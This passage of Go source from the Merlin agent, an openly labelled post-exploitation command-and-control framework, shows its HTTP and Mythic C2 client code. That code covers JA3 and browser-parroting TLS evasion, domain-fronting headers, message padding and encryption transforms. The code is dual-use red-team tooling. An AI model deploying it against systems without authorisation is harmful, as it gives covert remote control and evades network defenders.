fmt.Sprintf(\"Proxy-Authenticate header: %s\", resp.Header.Get(\"Proxy-Authenticate\")))\n\t\treturn\n\tdefault:\n\t\terr = fmt.Errorf(\"there was an error communicating with the server:\\r\\n%d\", resp.StatusCode)\n\t\treturn\n\t}\n\n\tcontentType := resp.Header.Get(\"Content-Type\")\n\tif contentType == \"\" {\n\t\terr = fmt.Errorf(\"the response did not contain a Content-Type header\")\n\t\treturn\n\t}\n\n\t// Check to make sure the response contains the application/octet-stream Content-Type header\n\tisOctet := false\n\tfor _, v := range strings.Split(contentType, \",\") {\n\t\tif strings.ToLower(v) == \"application/octet-stream\" {\n\t\t\tisOctet = true\n\t\t}\n\t}\n\n\tif !isOctet {\n\t\terr = fmt.Errorf(\"the response message did not contain the application/octet-stream Content-Type header\")\n\t\treturn\n\t}\n\n\t// Check to make sure message response contained data\n\tif resp.ContentLength == 0 {\n\t\terr = fmt.Errorf(\"the response message did not contain any data\")\n\t\treturn\n\t}\n\n\tdata, err = io.ReadAll(resp.Body)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/http.Send(): there was an error reading the response body to bytes: %s\", err)\n\t\treturn\n\t}\n\n\tvar respMessage messages.Base\n\trespMessage, err = client.Deconstruct(data)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/http.Send(): there was an error deconstructing the HTTP response data: %s\", err)\n\t\treturn\n\t}\n\n\t// Update the Agent's JWT if the server returned one in the response message\n\tif respMessage.Token != \"\" {\n\t\tclient.JWT = respMessage.Token\n\t}\n\n\treturnMessages = append(returnMessages, respMessage)\n\treturn\n}\n\n// Set is a generic function used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Set(): entering into function with key: %s, value: %s\", key, value))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Set(): exiting function with err: %v\", err))\n\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\tswitch strings.ToLower(key) {\n\tcase \"addr\":\n\t\t// Parse the string for a comma seperated list of URLs\n\t\turls := strings.Split(strings.ReplaceAll(value, \" \", \"\"), \",\")\n\t\t// Validate each URL\n\t\tfor _, u := range urls {\n\t\t\t_, err = url.Parse(u)\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/http.Set(): there was an error parsing the URL %s: %s\", u, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tclient.URL = urls\n\t\t// Build HTTP client config\n\t\thttpConfig := merlinHTTP.Config{\n\t\t\tClientType: client.ClientType,\n\t\t\tInsecure:   client.insecureTLS,\n\t\t\tJA3:        client.JA3,\n\t\t\tParrot:     client.Parrot,\n\t\t\tProtocol:   client.Protocol,\n\t\t\tProxyURL:   client.Proxy,\n\t\t\tProxyUser:  client.ProxyUser,\n\t\t\tProxyPass:  client.ProxyPass,\n\t\t}\n\t\tclient.Client, err = merlinHTTP.NewHTTPClient(httpConfig)\n\tcase \"ja3\":\n\t\tja3String := strings.Trim(value, \"\\\"'\")\n\t\tif ja3String != \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Set agent JA3 signature to:%s\", ja3String))\n\t\t} else if ja3String == \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent client back to default using %s protocol\", client.Protocol))\n\t\t}\n\t\tclient.JA3 = ja3String\n\t\t// Build HTTP client config\n\t\thttpConfig := merlinHTTP.Config{\n\t\t\tClientType: client.ClientType,\n\t\t\tInsecure:   client.insecureTLS,\n\t\t\tJA3:        client.JA3,\n\t\t\tParrot:     client.Parrot,\n\t\t\tProtocol:   client.Protocol,\n\t\t\tProxyURL:   client.Proxy,\n\t\t\tProxyUser:  client.ProxyUser,\n\t\t\tProxyPass:  client.ProxyPass,\n\t\t}\n\t\tclient.Client, err = merlinHTTP.NewHTTPClient(httpConfig)\n\tcase \"jwt\":\n\t\t// TODO Parse the JWT to make sure it is valid first\n\t\tclient.JWT = value\n\tcase \"parrot\":\n\t\tparrot := strings.Trim(value, \"\\\"'\")\n\t\tif parrot != \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Set agent HTTP transport parrot to:%s\", parrot))\n\t\t} else if parrot == \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent client back to default using %s protocol\", client.Protocol))\n\t\t}\n\t\tclient.Parrot = parrot\n\t\t// Build HTTP client config\n\t\thttpConfig := merlinHTTP.Config{\n\t\t\tClientType: client.ClientType,\n\t\t\tInsecure:   client.insecureTLS,\n\t\t\tJA3:        client.JA3,\n\t\t\tParrot:     client.Parrot,\n\t\t\tProtocol:   client.Protocol,\n\t\t\tProxyURL:   client.Proxy,\n\t\t\tProxyUser:  client.ProxyUser,\n\t\t\tProxyPass:  client.ProxyPass,\n\t\t}\n\t\tclient.Client, err = merlinHTTP.NewHTTPClient(httpConfig)\n\tcase \"paddingmax\":\n\t\tclient.PaddingMax, err = strconv.Atoi(value)\n\tcase \"secret\":\n\t\tclient.secret = []byte(value)\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown http client setting: %s\", key)\n\t}\n\treturn\n}\n\n// Get is a generic function used to retrieve the value of a Client's field\nfunc (client *Client) Get(key string) (value string) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Get(): entering into function with key: %s\", key))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Get(): leaving function with value: %s\", value))\n\tswitch strings.ToLower(key) {\n\tcase \"ja3\":\n\t\tvalue = client.JA3\n\tcase \"paddingmax\":\n\t\tvalue = strconv.Itoa(client.PaddingMax)\n\tcase \"parrot\":\n\t\tvalue = client.Parrot\n\tcase \"protocol\":\n\t\tvalue = client.Protocol\n\tdefault:\n\t\tvalue = fmt.Sprintf(\"unknown client configuration setting: %s\", key)\n\t}\n\treturn\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(msg messages.Base) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Authenticate(): entering into function with message: %+v\", msg))\n\tclient.authenticated = false\n\tvar authenticated bool\n\t// Reset the Agent's PSK\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.secret = k[:]\n\n\t// Add Agent generated JWT from Agent's PSK\n\tclient.JWT, err = client.getJWT()\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Repeat until authenticator is complete and Agent is authenticated\n\tfor {\n\t\tmsg, authenticated, err = client.Authenticator.Authenticate(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t// An empty message was received indicating to exit the function\n\t\tif msg.Type == 0 {\n\t\t\treturn\n\t\t}\n\n\t\t// Once authenticated, update the client's secret used to encrypt messages\n\t\tif authenticated {\n\t\t\tclient.authenticated = true\n\t\t\tp2p.NewP2PService().Refresh()\n\t\t\tvar key []byte\n\t\t\tkey, err = client.Authenticator.Secret()\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Don't update the secret if the authenticator returned an empty key\n\t\t\tif len(key) > 0 {\n\t\t\t\tclient.secret = key\n\t\t\t}\n\t\t}\n\n\t\t// Send the message to the server\n\t\tvar msgs []messages.Base\n\t\tmsgs, err = client.Send(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Add a response message to the next loop iteration\n\t\tif len(msgs) > 0 {\n\t\t\tmsg = msgs[0]\n\t\t}\n\n\t\t// If the Agent is authenticated, exit the loop and return the function\n\t\tif authenticated {\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms\n// on it to encode and encrypt it. Transforms will go from last in the slice to first in the slice\nfunc (client *Client) Construct(msg messages.Base) (data []byte, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Construct(): entering into function with message: %+v\", msg))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Construct(): Transformers: %+v\", client.transformers))\n\tfor i := len(client.transformers); i > 0; i-- {\n\t\tif i == len(client.transformers) {\n\t\t\t// The first call should always take a Base message\n\t\t\tdata, err = client.transformers[i-1].Construct(msg, client.secret)\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"%d call with transform %s - Constructed data(%d) %T: %X\\n\", i, client.transformers[i-1], len(data), data, data))\n\t\t} else {\n\t\t\tdata, err = client.transformers[i-1].Construct(data, client.secret)\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"%d call with transform %s - Constructed data(%d) %T: %X\\n\", i, client.transformers[i-1], len(data), data, data))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/http.Construct(): there was an error calling the transformer construct function: %s\", err)\n\t\t}\n\t}\n\treturn\n}\n\n// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until\n// a messages.Base structure is returned. The key is used for decryption transforms\nfunc (client *Client) Deconstruct(data []byte) (messages.Base, error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Deconstruct(): entering into function with message: %+v\", data))\n\n\tfor _, transform := range client.transformers {\n\t\t//fmt.Printf(\"Transformer %T: %+v\\n\", transform, transform)\n\t\tret, err := transform.Deconstruct(data, client.secret)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/http.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK\"))\n\t\t\t// Try to see if the PSK works\n\t\t\tk := sha256.Sum256([]byte(client.psk))\n\t\t\tret, err = transform.Deconstruct(data, k[:])\n\t\t\tif err != nil {\n\t\t\t\treturn messages.Base{}, err\n\t\t\t}\n\t\t\t// If the PSK worked, assume the agent is unauthenticated to the server\n\t\t\tclient.authenticated = false\n\t\t\tclient.secret = k[:]\n\t\t}\n\t\tswitch ret.(type) {\n\t\tcase []uint8:\n\t\t\tdata = ret.([]byte)\n\t\tcase string:\n\t\t\tdata = []byte(ret.(string)) // Probably not what I should be doing\n\t\tcase messages.Base:\n\t\t\t//fmt.Printf(\"pkg/listeners.Deconstruct(): returning Base message: %+v\\n\", ret.(messages.Base))\n\t\t\treturn ret.(messages.Base), nil\n\t\tdefault:\n\t\t\treturn messages.Base{}, fmt.Errorf(\"clients/http.Deconstruct(): unhandled data type for Deconstruct(): %T\", ret)\n\t\t}\n\t}\n\treturn messages.Base{}, fmt.Errorf(\"clients/http.Deconstruct(): unable to transform data into messages.Base structure\")\n}\n\n// Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate\n// communication with the server.\n// If the agent needs to authenticate before it can send messages, that process will occur here.\nfunc (client *Client) Initial() (err error) {\n\tcli.Message(cli.DEBUG, \"clients/http.Initial(): entering into function\")\n\treturn client.Authenticate(messages.Base{})\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\treturn false\n}\n"
  },
  {
    "path": "clients/http/http_exclude.go",
    "content": "//go:build !http && !http1 && !http2 && !http3 && !winhttp && !mythic && (smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http implements the Client interface and contains the structures and functions to communicate to the Merlin\n// server over the HTTP protocol\npackage http\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Internal\n\tmessages \"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n}\n\n// Config is a structure used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tProtocol     string    // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse)\n\tHost         string    // Host is used with the HTTP Host header for Domain Fronting activities\n\tHeaders      string    // Headers is a new-line separated string of additional HTTP headers to add to client requests\n\tURL          []string  // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx)\n\tProxy        string    // Proxy is the URL of the proxy that all traffic needs to go through, if applicable\n\tProxyUser    string    // ProxyUser is the username for the proxy, if applicable\n\tProxyPass    string    // ProxyPass is the password for the proxy, if applicable\n\tUserAgent    string    // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic\n\tParrot       string    // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser\n\tPSK          string    // PSK is the Pre-Shared Key secret the agent will use to start authentication\n\tJA3          string    // JA3 is a string that represents how the TLS client should be configured, if applicable\n\tPadding      string    // Padding is the max amount of data that will be randomly selected and appended to every message\n\tAuthPackage  string    // AuthPackage is the type of authentication the agent should use when communicating with the server\n\tOpaque       []byte    // Opaque is the byte representation of the EnvU object used with the OPAQUE protocol (future use)\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tInsecureTLS  bool      // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false\n\tClientType   string    // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.)\n}\n\n// New instantiates and returns a Client constructed from the passed in Config\nfunc New(config Config) (*Client, error) {\n\treturn nil, fmt.Errorf(\"clients/http.New(): HTTP client not compiled into this program\")\n}\n\n// Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/http.Listen(): the HTTP client does not support the Listen function\")\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server.\n// The function also decodes and decrypts response messages and returns a Merlin message structure.\n// This is where the client's logic is for communicating with the server.\nfunc (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/http.New(): HTTP client not compiled into this program\")\n\treturn\n}\n\n// Set is a generic function used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) (err error) {\n\terr = fmt.Errorf(\"clients/http.Set(): HTTP client not compiled into this program\")\n\treturn\n}\n\n// Get is a generic function used to retrieve the value of a Client's field\nfunc (client *Client) Get(key string) (value string) {\n\treturn fmt.Sprintf(\"clients/http.Get(): HTTP client not compiled into this program\")\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(msg messages.Base) (err error) {\n\terr = fmt.Errorf(\"clients/http.Authenticate(): HTTP client not compiled into this program\")\n\treturn\n}\n\n// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms\n// on it to encode and encrypt it. Transforms will go from last in the slice to first in the slice\nfunc (client *Client) Construct(msg messages.Base) (data []byte, err error) {\n\terr = fmt.Errorf(\"clients/http.Construct(): HTTP client not compiled into this program\")\n\treturn\n}\n\n// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until\n// a messages.Base structure is returned. The key is used for decryption transforms\nfunc (client *Client) Deconstruct(data []byte) (messages.Base, error) {\n\treturn messages.Base{}, fmt.Errorf(\"clients/http.Deconstruct(): HTTP client not compiled into this program\")\n}\n\n// Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate\n// communication with the server.\n// If the agent needs to authenticate before it can send messages, that process will occur here.\nfunc (client *Client) Initial() (err error) {\n\terr = fmt.Errorf(\"clients/http.Initial(): HTTP client not compiled into this program\")\n\treturn\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\treturn false\n}\n"
  },
  {
    "path": "clients/memory/memory.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package memory is an in-memory repository for storing and managing Merlin clients used to communicate with the Merlin\n// server or for peer-to-peer Agent communications\npackage memory\n\nimport (\n\t// Standard\n\t\"sync\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients\"\n)\n\n// Repository is the structure that implements the in-memory repository for interacting with the Agent's C2 client\ntype Repository struct {\n\tsync.Mutex\n\tclient clients.Client\n}\n\n// repo is the in-memory datastore\nvar repo *Repository\n\n// NewRepository creates and returns a new in-memory repository for interacting with the Agent's C2 client\nfunc NewRepository() *Repository {\n\tif repo == nil {\n\t\trepo = &Repository{\n\t\t\tMutex: sync.Mutex{},\n\t\t}\n\t}\n\treturn repo\n}\n\n// Add stores the Merlin Agent C2 client to the repository\nfunc (r *Repository) Add(client clients.Client) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.client = client\n}\n\n// Get returns the current C2 Client object the Agent is using for communications\nfunc (r *Repository) Get() clients.Client {\n\treturn r.client\n}\n\n// SetJA3 reconfigures the client's TLS fingerprint to match the provided JA3 string\nfunc (r *Repository) SetJA3(ja3 string) error {\n\tr.Lock()\n\tdefer r.Unlock()\n\treturn r.client.Set(\"ja3\", ja3)\n}\n\n// SetListener changes the client's upstream listener ID, a UUID, to the value provided\nfunc (r *Repository) SetListener(listener string) error {\n\tr.Lock()\n\tdefer r.Unlock()\n\treturn r.client.Set(\"listener\", listener)\n}\n\n// SetPadding changes the maximum amount of random padding added to each outgoing message\nfunc (r *Repository) SetPadding(padding string) error {\n\tr.Lock()\n\tdefer r.Unlock()\n\treturn r.client.Set(\"paddingmax\", padding)\n}\n\n// SetParrot reconfigures the client's HTTP configuration to match the provided browser\nfunc (r *Repository) SetParrot(parrot string) error {\n\tr.Lock()\n\tdefer r.Unlock()\n\treturn r.client.Set(\"parrot\", parrot)\n}\n"
  },
  {
    "path": "clients/mythic/mythic.go",
    "content": "//go:build mythic\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage mythic\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\trand2 \"math/rand\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// X-Packages\n\t\"golang.org/x/net/http2\"\n\n\t// Merlin Message\n\tmessages \"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\trsa2 \"github.com/Ne0nd0g/merlin-message/rsa\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators\"\n\trsaAuthenticaor \"github.com/Ne0nd0g/merlin-agent/v2/authenticators/rsa\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\tmerlinHTTP \"github.com/Ne0nd0g/merlin-agent/v2/http\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/utls\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/agent\"\n\ttransformer \"github.com/Ne0nd0g/merlin-agent/v2/transformers\"\n\tb64 \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex\"\n\tmythicEncoder \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/mythic\"\n\taes2 \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor\"\n)\n\n// socksConnection is used to map the Mythic incremental integer used for tracking connections to a UUID leveraged by the agent\nvar socksConnection = sync.Map{}\n\n// mythicSocksConnection is used to map Merlin's connection UUID to Mythic's integer server_id; Inverse of socksConnection\nvar mythicSocksConnection = sync.Map{}\n\n// socksCounter is used to track and order the SOCKS data packets coming from Mythic\nvar socksCounter = sync.Map{}\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n\tAuthenticator authenticators.Authenticator\n\tauthenticated bool              // authenticated tracks if the Agent has successfully authenticated\n\tAgentID       uuid.UUID         // TODO can this be recovered through reflection since client is embedded into agent?\n\tMythicID      uuid.UUID         // The identifier used by the Mythic framework\n\tClient        merlinHTTP.Client // Client to send messages with\n\tClientType    merlinHTTP.Type\n\tProtocol      string                    // The HTTP protocol the client will use\n\tURL           string                    // URL to send messages to (e.g., https://127.0.0.1:443/test.php)\n\tHost          string                    // HTTP Host header value\n\tProxy         string                    // Proxy string\n\tHeaders       map[string]string         // Additional HTTP headers to add to the request\n\tUserAgent     string                    // HTTP User-Agent value\n\tPaddingMax    int                       // PaddingMax is the maximum size allowed for a randomly selected message padding length\n\tJA3           string                    // JA3 is a string that represents how the TLS client should be configured, if applicable\n\tParrot        string                    // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser\n\tpsk           []byte                    // PSK is the Pre-Shared Key secret the agent will use to start encrypted key exchange\n\tsecret        []byte                    // Secret is the current key that is being used to encrypt & decrypt data\n\tprivKey       *rsa.PrivateKey           // Agent's RSA Private key to decrypt traffic\n\tinsecureTLS   bool                      // insecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false\n\ttransformers  []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message\n}\n\n// Config is a structure used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAgentID      uuid.UUID // The Agent's UUID\n\tAuthPackage  string    // AuthPackage is the type of authentication the agent should use when communicating with the server\n\tPayloadID    string    // The UUID used with the Mythic framework\n\tProtocol     string    // Proto contains the transportation protocol the agent is using (i.e., http2 or http3)\n\tHeaders      string    // Headers is a new-line separated string of additional HTTP headers to add to client requests\n\tHost         string    // Host is used with the HTTP Host header for Domain Fronting activities\n\tURL          string    // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx)\n\tProxy        string    // Proxy is the URL of the proxy that all traffic needs to go through, if applicable\n\tUserAgent    string    // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic\n\tPSK          string    // PSK is the Pre-Shared Key secret the agent will use to start authentication\n\tJA3          string    // JA3 is a string that represents how the TLS client should be configured, if applicable\n\tParrot       string    // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser\n\tPadding      string    // Padding is the max amount of data that will be randomly selected and appended to every message\n\tInsecureTLS  bool      // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tClientType   string    // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.)\n}\n\n// New instantiates and returns a Client constructed from the passed in Config\nfunc New(config Config) (*Client, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.New()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Config: %+v\", config))\n\tclient := Client{\n\t\tAgentID:     config.AgentID,\n\t\tURL:         config.URL,\n\t\tUserAgent:   config.UserAgent,\n\t\tHost:        config.Host,\n\t\tProtocol:    config.Protocol,\n\t\tProxy:       config.Proxy,\n\t\tJA3:         config.JA3,\n\t\tParrot:      config.Parrot,\n\t\tinsecureTLS: config.InsecureTLS,\n\t}\n\n\t// Mythic: Add payload ID\n\tvar err error\n\tclient.MythicID, err = uuid.Parse(config.PayloadID)\n\tif err != nil {\n\t\treturn &client, err\n\t}\n\n\t// Set PSK\n\tif config.PSK != \"\" {\n\t\tclient.psk, err = base64.StdEncoding.DecodeString(config.PSK)\n\t\tif err != nil {\n\t\t\treturn &client, fmt.Errorf(\"there was an error Base64 decoding the PSK:\\n%s\", err)\n\t\t}\n\t\tclient.secret = client.psk\n\t}\n\n\t// Set up the Authenticator\n\tswitch strings.ToLower(config.AuthPackage) {\n\tcase \"none\":\n\t\treturn nil, fmt.Errorf(\"the 'none' authenticator is not supported for the Mythic client\")\n\tcase \"opaque\":\n\t\treturn nil, fmt.Errorf(\"the 'opaque' authenticator is not supported for the Mythic client\")\n\tcase \"rsa\":\n\t\t// Generate an RSA key pair\n\t\tclient.privKey, err = rsa.GenerateKey(rand.Reader, 4096)\n\t\tif err != nil {\n\t\t\treturn &client, fmt.Errorf(\"there was an error generating the RSA key pair:\\n%s\", err)\n\t\t}\n\t\tclient.Authenticator = rsaAuthenticaor.New(client.AgentID, *client.privKey)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"'%s' is not a valid authenticator for the Mythic client\", config.AuthPackage)\n\t}\n\n\t// Transformers\n\ttransforms := strings.Split(config.Transformers, \",\")\n\tfor _, transform := range transforms {\n\t\tvar t transformer.Transformer\n\t\tswitch strings.ToLower(transform) {\n\t\tcase \"aes\":\n\t\t\t// Ensure there is a key\n\t\t\tif config.PSK == \"\" || len(client.psk) <= 0 {\n\t\t\t\treturn nil, fmt.Errorf(\"AES transformer requires a PSK to be set\")\n\t\t\t}\n\t\t\tt = aes2.NewEncrypter()\n\t\tcase \"base64-byte\":\n\t\t\tt = b64.NewEncoder(b64.BYTE)\n\t\tcase \"base64-string\":\n\t\t\tt = b64.NewEncoder(b64.STRING)\n\t\tcase \"gob-base\":\n\t\t\tt = gob.NewEncoder(gob.BASE)\n\t\tcase \"gob-string\":\n\t\t\tt = gob.NewEncoder(gob.STRING)\n\t\tcase \"hex-byte\":\n\t\t\tt = hex.NewEncoder(hex.BYTE)\n\t\tcase \"hex-string\":\n\t\t\tt = hex.NewEncoder(hex.STRING)\n\t\tcase \"jwe\":\n\t\t\tt = jwe.NewEncrypter()\n\t\tcase \"mythic\":\n\t\t\tt = mythicEncoder.NewEncoder()\n\t\tcase \"rc4\":\n\t\t\tt = rc4.NewEncrypter()\n\t\tcase \"xor\":\n\t\t\tt = xor.NewEncrypter()\n\t\tdefault:\n\t\t\terr = fmt.Errorf(\"clients/mythic.New(): unhandled transform type: %s\", transform)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tclient.transformers = append(client.transformers, t)\n\t}\n\n\t// Parse Padding Value\n\tclient.PaddingMax, err = strconv.Atoi(config.Padding)\n\tif err != nil {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error converting Padding string \\\"%s\\\" to an integer: %s\", config.Padding, err))\n\t}\n\n\t// Parse additional HTTP Headers\n\tif config.Headers != \"\" {\n\t\tclient.Headers = make(map[string]string)\n\t\tfor _, header := range strings.Split(config.Headers, \"\\n\") {\n\t\t\th := strings.Split(header, \":\")\n\t\t\tif len(h) < 2 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"unable to parse HTTP header: '%s'\", header))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Remove leading or trailing spaces\n\t\t\theaderKey := strings.TrimSuffix(strings.TrimPrefix(h[0], \" \"), \" \")\n\t\t\theaderValue := strings.TrimSuffix(strings.TrimPrefix(h[1], \" \"), \" \")\n\t\t\tcli.Message(\n\t\t\t\tcli.DEBUG,\n\t\t\t\tfmt.Sprintf(\"HTTP Header (%d): %s, Value (%d): %s\\n\",\n\t\t\t\t\tlen(headerKey),\n\t\t\t\t\theaderKey,\n\t\t\t\t\tlen(headerValue),\n\t\t\t\t\theaderValue,\n\t\t\t\t),\n\t\t\t)\n\t\t\tclient.Headers[headerKey] = headerValue\n\t\t}\n\t}\n\n\t// Determine the HTTP client type\n\tif client.Protocol == \"http\" || client.Protocol == \"https\" {\n\t\tif config.ClientType == strings.ToLower(\"winhttp\") {\n\t\t\tclient.ClientType = merlinHTTP.WINHTTP\n\t\t} else if config.ClientType == strings.ToLower(\"wininet\") {\n\t\t\tclient.ClientType = merlinHTTP.WININET\n\t\t} else {\n\t\t\tclient.ClientType = merlinHTTP.HTTP\n\t\t}\n\t}\n\n\tif client.Protocol == \"h2\" || client.Protocol == 